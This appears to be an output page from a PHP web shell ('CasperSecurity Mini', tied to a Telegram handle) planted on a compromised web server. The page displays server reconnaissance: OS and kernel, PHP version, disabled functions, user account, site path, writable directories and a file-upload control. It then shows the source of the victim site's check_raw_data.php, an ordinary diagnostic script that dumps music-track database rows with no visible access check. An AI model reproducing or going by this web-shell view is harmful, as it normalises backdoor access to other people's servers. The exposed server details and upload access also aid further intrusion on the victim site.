T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/check_raw_data.php
<?php
require_once 'config/database.php';

echo "<h1>🔍 Checking Raw API.Box Data</h1>";

try {
    $pdo = getDBConnection();
    
    // Check if tracks have raw API data stored
    $stmt = $pdo->prepare("
        SELECT id, title, task_id, api_box_raw_data, lyrics 
        FROM music_tracks 
        WHERE task_id IS NOT NULL 
        ORDER BY created_at DESC 
        LIMIT 10
    ");
    $stmt->execute();
    $tracks = $stmt->fetchAll();
    
    if (empty($tracks)) {
        echo "<p>❌ No tracks found with task IDs</p>";
        exit;
    }
    
    echo "<h2>📊 Tracks with Raw API Data</h2>";
    echo "<table style='width: 100%; border-collapse: collapse; margin: 15px 0;'>";
    echo "<tr style='background: #667eea; color: white;'>";
    echo "<th style='padding: 10px; border: 1px solid #ccc;'>Track ID</th>";
    echo "<th style='padding: 10px; border: 1px solid #ccc;'>Title</th>";
    echo "<th style='padding: 10px; border: 1px solid #ccc;'>Task ID</th>";
    echo "<th style='padding: 10px; border: 1px solid #ccc;'>Raw Data</th>";
    echo "<th style='padding: 10px; border: 1px solid #ccc;'>Lyrics</th>";
    echo "<th style='padding: 10px; border: 1px solid #ccc;'>Actions</th>";
    echo "</tr>";
    
    foreach ($tracks as $track) {
        $has_raw_data = !empty($track['api_box_raw_data']);
        $has_lyrics = !empty($track['lyrics']);
        
        echo "<tr>";
        echo "<td style='padding: 10px; border: 1px solid #ccc;'>{$track['id']}</td>";
        echo "<td style='padding: 10px; border: 1px solid #ccc;'>" . htmlspecialchars($track['title']) . "</td>";
        echo "<td style='padding: 10px; border: 1px solid #ccc;'>{$track['task_id']}</td>";
        echo "<td style='padding: 10px; border: 1px solid #ccc;'>";
        if ($has_raw_data) {
            echo "<span style='color: green;'>✅ Has raw data</span>";
        } else {
            echo "<span style='color: red;'>❌ No raw data</span>";
        }
        echo "</td>";
        echo "<td style='padding: 10px; border: 1px solid #ccc;'>";
        if ($has_lyrics) {
            echo "<span style='color: green;'>✅ Has lyrics</span>";
        } else {
            echo "<span style='color: red;'>❌ No lyrics</span>";
        }
        echo "</td>";
        echo "<td style='padding: 10px; border: 1px solid #ccc;'>";
        if ($has_raw_data && !$has_lyrics) {
            echo "<button onclick='extractLyrics({$track['id']})' style='background: #48bb78; color: white; border: none; padding: 8px 16px; border-radius: 5px; cursor: pointer;'>🎵 Extract Lyrics</button>";
        } elseif ($has_raw_data && $has_lyrics) {
            echo "<span style='color: green;'>✅ Already extracted</span>";
        } else {
            echo "<span style='color: gray;'>No action needed</span>";
        }
        echo "</td>";
        echo "</tr>";
    }
    echo "</table>";
    
    // Show sample raw data for first track
    if (!empty($tracks) && !empty($tracks[0]['api_box_raw_data'])) {
        echo "<h2>🔍 Sample Raw Data (Track {$tracks[0]['id']})</h2>";
        $raw_data = json_decode($tracks[0]['api_box_raw_data'], true);
        echo "<pre style='background: #f0f0f0; padding: 15px; border-radius: 8px; max-height: 400px; overflow-y: auto;'>" . htmlspecialchars(json_encode($raw_data, JSON_PRETTY_PRINT)) . "</pre>";
        
        // Check for lyrics in the raw data
        echo "<h3>🎵 Lyrics Search in Raw Data</h3>";
        $lyrics_found = false;
        if (is_array($raw_data)) {
            // Search recursively for lyrics
            function searchForLyrics($data, $path = '') {
                global $lyrics_found;
                if (is_array($data)) {
                    foreach ($data as $key => $value) {
                        $current_path = $path ? $path . '.' . $key : $key;
                        if (is_string($value) && (stripos($key, 'lyric') !== false || stripos($key, 'text') !== false)) {
                            if (!empty(trim($value))) {
                                echo "<p style='color: green;'>✅ <strong>Found lyrics at:</strong> $current_path</p>";
                                echo "<p><strong>Content:</strong> " . htmlspecialchars(substr($value, 0, 200)) . "...</p>";
                                $lyrics_found = true;
                            }
                        } elseif (is_array($value)) {
                            searchForLyrics($value, $current_path);
                        }
                    }
                }
            }
            
            searchForLyrics($raw_data);
            
            if (!$lyrics_found) {
                echo "<p style='color: red;'>❌ No lyrics found in raw data</p>";
            }
        }
    }
    
} catch (Exception $e) {
    echo "<p style='color: red;'>❌ Error: " . htmlspecialchars($e->getMessage()) . "</p>";
}

echo "<hr>";
echo "<h2>🎯 Next Steps</h2>";
echo "<p>1. <strong>If tracks have raw data:</strong> We can extract lyrics from that</p>";
echo "<p>2. <strong>If no raw data:</strong> We need to wait for new callbacks or find another solution</p>";
echo "<p>3. <strong>Check callback logs:</strong> See what data structure API.Box is actually sending</p>";
?>

<script>
async function extractLyrics(trackId) {
    if (confirm('Extract lyrics from raw API data for track ' + trackId + '?')) {
        try {
            const response = await fetch('extract_lyrics_from_raw.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    track_id: trackId
                })
            });
            
            const data = await response.json();
            
            if (data.success) {
                alert('Lyrics extracted successfully!');
                location.reload();
            } else {
                alert('Extraction failed: ' + data.error);
            }
        } catch (error) {
            alert('Error extracting lyrics: ' + error.message);
        }
    }
}
</script>

CasperSecurity Mini